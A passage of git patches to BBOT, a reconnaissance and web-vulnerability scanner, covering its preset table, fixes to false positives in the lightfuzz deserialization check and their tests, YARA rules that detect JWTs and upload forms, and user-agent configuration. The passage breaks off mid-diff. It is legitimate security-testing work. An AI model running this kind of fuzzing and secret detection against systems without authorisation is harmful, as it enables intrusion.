baddns_direct, baddns_zone, httpx | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 58 | anubisdb, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | -| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 4 | ffuf, ffuf_shortnames, httpx, iis_shortnames | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 9 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 8 | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 3 | ffuf_shortnames, httpx, iis_shortnames | -| kitchen-sink | | Everything everywhere all at once | 90 | anubisdb, apkpure, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, passivetotal, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback | -| lightfuzz-heavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-medium | web | Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-superheavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-intense | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 51 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | -| web-basic | | Quick web scan | 18 | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| web-screenshots | | Take screenshots of webpages | 3 | gowitness, httpx, social | -| web-thorough | | Aggressive web scan | 32 | ajaxpro, aspnet_bin_exposure, azure_realm, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation | +| Preset | Category | Description | # Modules | Modules | +|----------------------|------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 58 | anubisdb, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 4 | ffuf, ffuf_shortnames, httpx, iis_shortnames | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 9 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 8 | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 3 | ffuf_shortnames, httpx, iis_shortnames | +| kitchen-sink | | Everything everywhere all at once | 90 | anubisdb, apkpure, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, passivetotal, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback | +| lightfuzz-heavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. | 3 | httpx, lightfuzz, portfilter | +| lightfuzz-medium | web | Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | +| lightfuzz-superheavy | web | Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | +| nuclei-intense | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | +| spider | | Recursive web spider | 1 | httpx | +| spider-intense | | Recursive web spider with more aggressive settings | 1 | httpx | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 51 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | +| web-basic | | Quick web scan | 18 | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| web-screenshots | | Take screenshots of webpages | 3 | gowitness, httpx, social | +| web-thorough | | Aggressive web scan | 32 | ajaxpro, aspnet_bin_exposure, azure_realm, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation | From 7aed19aca56e69c79ccc795454e2e36cedfdad96 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 3 Mar 2026 14:25:01 -0500 Subject: [PATCH 278/912] Fix lightfuzz crash on non-ASCII parameter values in is_base64() --- bbot/modules/lightfuzz/submodules/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 171e78c613..c05dfa36ad 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -27,7 +27,7 @@ def is_base64(s): try: if base64.b64encode(base64.b64decode(s)).decode() == s: return True - except (binascii.Error, UnicodeDecodeError): + except (binascii.Error, UnicodeDecodeError, ValueError): return False return False From 9c238be7ea799aaa36e9ce1483a462be11a8b8e6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 3 Mar 2026 19:49:37 -0500 Subject: [PATCH 279/912] lint --- bbot/scanner/scanner.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 9383ed588a..8fbaadc598 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -185,9 +185,15 @@ def __init__( if self.name == "golden_gus": from base64 import b64decode as _d - _a = _d("ICAgICAgICAgICAgICBfX18KICAqd29vZiogIF9fL18gIGAuICAuLSIiIi0uCiAgICAgICAgICBcXyxgIHwgXC0nICAvICAgKWAtJykKICAgICAgICAgICAiIikgImAiICAgIFwgICgoImAiCiAgICAgICAgICBfX19ZICAsICAgIC4nNyAvfAogICAgICAgICAoXyxfX18vLi4uLWAgKF8vXy8=").decode() + _a = _d( + "ICAgICAgICAgICAgICBfX18KICAqd29vZiogIF9fL18gIGAuICAuLSIiIi0uCiAgICAgICAgICBcXyxgIHwgXC0nICAvICAgKWAtJykKICAgICAgICAgICAiIikgImAiICAgIFwgICgoImAiCiAgICAgICAgICBfX19ZICAsICAgIC4nNyAvfAogICAgICAgICAoXyxfX18vLi4uLWAgKF8vXy8=" + ).decode() _m = _d("R3VzIGhhcyBibGVzc2VkIHlvdXIgc2Nhbi4=").decode() - log_to_stderr(f"\033[1;38;5;220m{_a}\033[0m\n \033[1;38;5;118m{_m}\033[0m", level="HUGESUCCESS", logname=False) + log_to_stderr( + f"\033[1;38;5;220m{_a}\033[0m\n \033[1;38;5;118m{_m}\033[0m", + level="HUGESUCCESS", + logname=False, + ) # make sure the preset has a description if not self.preset.description: From 3587ce48174cc169931a4d00e2c275bf5e97a0e2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 11:51:16 -0500 Subject: [PATCH 280/912] Suppress excavate JWT detection when badsecrets is enabled, add confidence to JWT and file upload rules --- bbot/modules/internal/excavate.py | 9 +++++++-- .../test_step_2/module_tests/test_module_excavate.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 61421d4727..d363302544 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -704,7 +704,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte class JWTExtractor(ExcavateRule): description = "Extracts JSON Web Tokens." yara_rules = { - "jwt": r'rule jwt { meta: emit_match = "True" description = "contains JSON Web Token (JWT)" strings: $jwt = /\beyJ[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*/ nocase condition: $jwt }', + "jwt": r'rule jwt { meta: emit_match = "True" description = "contains JSON Web Token (JWT)" confidence = "CONFIRMED" strings: $jwt = /\beyJ[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*\.[_a-zA-Z0-9\/+]*/ nocase condition: $jwt }', } class ErrorExtractor(ExcavateRule): @@ -781,7 +781,7 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte class FunctionalityExtractor(ExcavateRule): description = "Detects potentially exploitable functionality and attack surface in web applications." yara_rules = { - "File_Upload_Functionality": r'rule File_Upload_Functionality { meta: description = "contains file upload functionality" strings: $fileuploadfunc = /]+type=["\']?file["\']?[^>]+>/ nocase condition: $fileuploadfunc }', + "File_Upload_Functionality": r'rule File_Upload_Functionality { meta: description = "contains file upload functionality" confidence = "CONFIRMED" strings: $fileuploadfunc = /]+type=["\']?file["\']?[^>]+>/ nocase condition: $fileuploadfunc }', "Web_Service_WSDL": r'rule Web_Service_WSDL { meta: emit_match = "True" description = "contains a web service WSDL URL" strings: $wsdl = /https?:\/\/[^\s]*\.(wsdl)/ nocase condition: $wsdl }', } @@ -1028,6 +1028,11 @@ async def setup(self): ExcavateRules = find_subclasses(module, ExcavateRule) for e in ExcavateRules: self.debug(f"Including Submodule {e.__name__}") + if e.__name__ == "JWTExtractor" and "badsecrets" in self.scan.modules: + self.debug( + "JWTExtractor disabled because badsecrets module is enabled" + ) + continue if e.__name__ == "ParameterExtractor": message = ( "Parameter Extraction disabled because no modules consume WEB_PARAMETER events" diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 259146fe41..f9370f1870 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -215,7 +215,7 @@ def check(self, module_test, events): assert found_js_url_event, "Failed to find URL event for script.js" assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js" - assert found_excavate_jwt_finding, "Failed to find JWT finding from script.js" + assert not found_excavate_jwt_finding, "Excavate JWT finding should be suppressed when badsecrets is enabled" class TestExcavateRedirect(TestExcavate): From ab1a6edb2d0233ab6c2186c8257ef26af232738f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 13:08:08 -0500 Subject: [PATCH 281/912] Fix lightfuzz deserialization Error Resolution false positives --- bbot/defaults.yml | 1 + bbot/modules/lightfuzz/submodules/serial.py | 69 +++++++++++++++---- .../module_tests/test_module_lightfuzz.py | 54 +++++++++++++++ 3 files changed, 110 insertions(+), 14 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index ddf0c1384d..5274450349 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -255,6 +255,7 @@ parameter_blacklist: - __SCROLLPOSITIONY - __SCROLLPOSITIONX - ASP.NET_SessionId + - .AspNetCore.Session - PHPSESSID - __cf_bm - f5_cspm diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 58837f06be..508fe98ab9 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -78,6 +78,18 @@ def is_possibly_serialized(self, value): return True return False + @staticmethod + def payload_language(payload_name): + """Extract the language family from a payload name (e.g. 'java_base64_string_error' -> 'java').""" + return payload_name.split("_")[0] + + async def confirm_baseline(self, control_payload, cookies): + """Re-send the control payload to confirm the baseline error state is stable (not transient).""" + confirmation = await self.standard_probe(self.event.data["type"], cookies, control_payload) + if confirmation is None: + return None + return getattr(confirmation, "status_code", None) + async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) control_payload_hex = self.CONTROL_PAYLOAD_HEX @@ -111,13 +123,16 @@ async def fuzz(self): self.debug(f"HttpCompareError encountered: {e}") return + # Map each payload set to its control payload for baseline confirmation + payload_sets = [ + (base64_serialization_payloads, http_compare_base64, control_payload_base64), + (hex_serialization_payloads, http_compare_hex, control_payload_hex), + (php_raw_serialization_payloads, http_compare_php_raw, control_payload_php_raw), + ] + # Proceed with payload probes - for payload_set, payload_baseline in [ - (base64_serialization_payloads, http_compare_base64), - (hex_serialization_payloads, http_compare_hex), - (php_raw_serialization_payloads, http_compare_php_raw), - ]: - for type, payload in payload_set.items(): + for payload_set, payload_baseline, control_payload in payload_sets: + for payload_type, payload in payload_set.items(): try: matches_baseline, diff_reasons, reflection, response = await self.compare_probe( payload_baseline, self.event.data["type"], payload, cookies @@ -127,17 +142,17 @@ async def fuzz(self): continue if matches_baseline: - self.debug(f"Payload {type} matches baseline, skipping") + self.debug(f"Payload {payload_type} matches baseline, skipping") continue - self.debug(f"Probe result for {type}: {response}") + self.debug(f"Probe result for {payload_type}: {response}") status_code = getattr(response, "status_code", 0) if status_code == 0: continue if diff_reasons == ["header"]: - self.debug(f"Only header diffs found for {type}, skipping") + self.debug(f"Only header diffs found for {payload_type}, skipping") continue if status_code not in (200, 500): @@ -145,7 +160,7 @@ async def fuzz(self): continue # if the status code changed to 200, and the response doesn't match our general error exclusions, we have a finding - self.debug(f"Potential finding detected for {type}, needs confirmation") + self.debug(f"Potential finding detected for {payload_type}, needs confirmation") if ( status_code == 200 and "code" in diff_reasons @@ -153,6 +168,14 @@ async def fuzz(self): error in response.text for error in general_errors ) # ensure the 200 is not actually an error ): + # Confirm the baseline error state is stable by re-sending the control payload. + # If the control also returns 200 now, the original error was transient. + confirmation_status = await self.confirm_baseline(control_payload, cookies) + if confirmation_status == 200: + self.debug( + f"Baseline confirmation returned 200 for {payload_type}, original error was transient, skipping" + ) + continue def get_title(text): soup = self.lightfuzz.helpers.beautifulsoup(text, "html.parser") @@ -168,26 +191,44 @@ def get_title(text): "name": "Possible Unsafe Deserialization", "severity": "HIGH", "confidence": "LOW", - "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{type}]", + "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{payload_type}]", + "_technique": "error_resolution", + "_language": self.payload_language(payload_type), } ) # if the first case doesn't match, we check for a telltale error string like "java.io.optionaldataexception" in the response. # but only if the response is a 500, or a 200 with a body diff elif status_code == 500 or (status_code == 200 and diff_reasons == ["body"]): - self.debug(f"500 status code or body match for {type}") + self.debug(f"500 status code or body match for {payload_type}") for serialization_error in serialization_errors: # check for the error string, but also ensure the error string isn't just always present in the response if ( serialization_error in response.text.lower() and serialization_error not in payload_baseline.baseline.text.lower() ): - self.debug(f"Error string '{serialization_error}' found in response for {type}") + self.debug(f"Error string '{serialization_error}' found in response for {payload_type}") self.results.append( { "name": "Possible Unsafe Deserialization", "severity": "HIGH", "confidence": "LOW", - "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{type}]", + "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{payload_type}]", } ) break + + # Final safety net: if Error Resolution findings span multiple language families, discard them. + # A real deserialization vuln only deserializes one language's format. + error_resolution_results = [r for r in self.results if r.get("_technique") == "error_resolution"] + if error_resolution_results: + languages = set(r["_language"] for r in error_resolution_results) + if len(languages) > 1: + self.debug( + f"Error Resolution findings span multiple language families ({languages}), discarding as false positives" + ) + self.results = [r for r in self.results if r.get("_technique") != "error_resolution"] + + # Clean up internal metadata keys before results are emitted + for r in self.results: + r.pop("_technique", None) + r.pop("_language", None) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 0eebfe5d4f..56cc3bf916 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1331,6 +1331,60 @@ def check(self, module_test, events): assert finding_count == 0, "Unexpected FINDING events reported" +# Serialization Module (Error Resolution - Transient Baseline) +# Simulates a server that returns 500 on the first request (baseline), then 200 for everything after. +# The confirmation re-send of the control payload should catch this and suppress the finding. +class Test_Lightfuzz_serial_errorresolution_transient_baseline(Test_Lightfuzz_serial_errorresolution): + request_count = 0 + + def request_handler(self, request): + post_params = request.form + + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + + self.request_count += 1 + # First request (baseline) returns 500, all subsequent requests return 200 + if self.request_count <= 1: + return Response(self.dotnet_serial_error, status=500) + else: + return Response("OK", status=200) + + def check(self, module_test, events): + no_finding_emitted = True + for e in events: + if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""): + no_finding_emitted = False + assert no_finding_emitted, "False positive Error Resolution finding was emitted despite transient baseline" + + +# Serialization Module (Error Resolution - Multi-Language Family False Positive) +# Simulates a server where ALL serialization payloads resolve the error (500->200), +# spanning multiple language families. The multi-family check should discard them all. +class Test_Lightfuzz_serial_errorresolution_multi_language(Test_Lightfuzz_serial_errorresolution): + def request_handler(self, request): + post_params = request.form + + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + + # __VIEWSTATE mismatch triggers the baseline path + if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP": + return Response(self.dotnet_serial_error, status=500) + + # ALL payloads "resolve" the error - this is the false positive scenario + return Response("OK", status=200) + + def check(self, module_test, events): + no_finding_emitted = True + for e in events: + if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""): + no_finding_emitted = False + assert no_finding_emitted, ( + "False positive Error Resolution finding was emitted despite multiple language families triggering" + ) + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 389b8aac6f61edeb29684c009ba320a0a83a78c5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 13:17:52 -0500 Subject: [PATCH 282/912] Fix excavate crash when jQuery parameter extraction fails JSON parsing --- bbot/modules/internal/excavate.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 61421d4727..e54a5b594f 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -409,6 +409,8 @@ async def extract(self): if extracted_results: for action, extracted_parameters in extracted_results: extracted_parameters_dict = await self.convert_to_dict(extracted_parameters) + if extracted_parameters_dict is None: + continue for parameter_name, original_value in extracted_parameters_dict.items(): yield ( self.output_type, From 7c95b3360c95cbd972b134be588f30ea280a4463 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 14:30:58 -0500 Subject: [PATCH 283/912] Make user_agent_suffix a proper config value --- bbot/core/helpers/web/client.py | 4 +++- bbot/core/helpers/web/web.py | 2 +- bbot/defaults.yml | 2 ++ bbot/scanner/preset/args.py | 21 +++++++-------------- bbot/scanner/scanner.py | 4 +++- 5 files changed, 16 insertions(+), 17 deletions(-) diff --git a/bbot/core/helpers/web/client.py b/bbot/core/helpers/web/client.py index 2d352b2f33..8fb0171bb0 100644 --- a/bbot/core/helpers/web/client.py +++ b/bbot/core/helpers/web/client.py @@ -70,7 +70,9 @@ def __init__(self, *args, **kwargs): cookies = {} # user agent - user_agent = self._web_config.get("user_agent", "BBOT") + user_agent = ( + f"{self._web_config.get('user_agent', 'BBOT')} {self._web_config.get('user_agent_suffix') or ''}".strip() + ) if "User-Agent" not in headers: headers["User-Agent"] = user_agent kwargs["headers"] = headers diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 60ff35dd59..9d65405ba6 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -359,7 +359,7 @@ async def curl(self, *args, **kwargs): 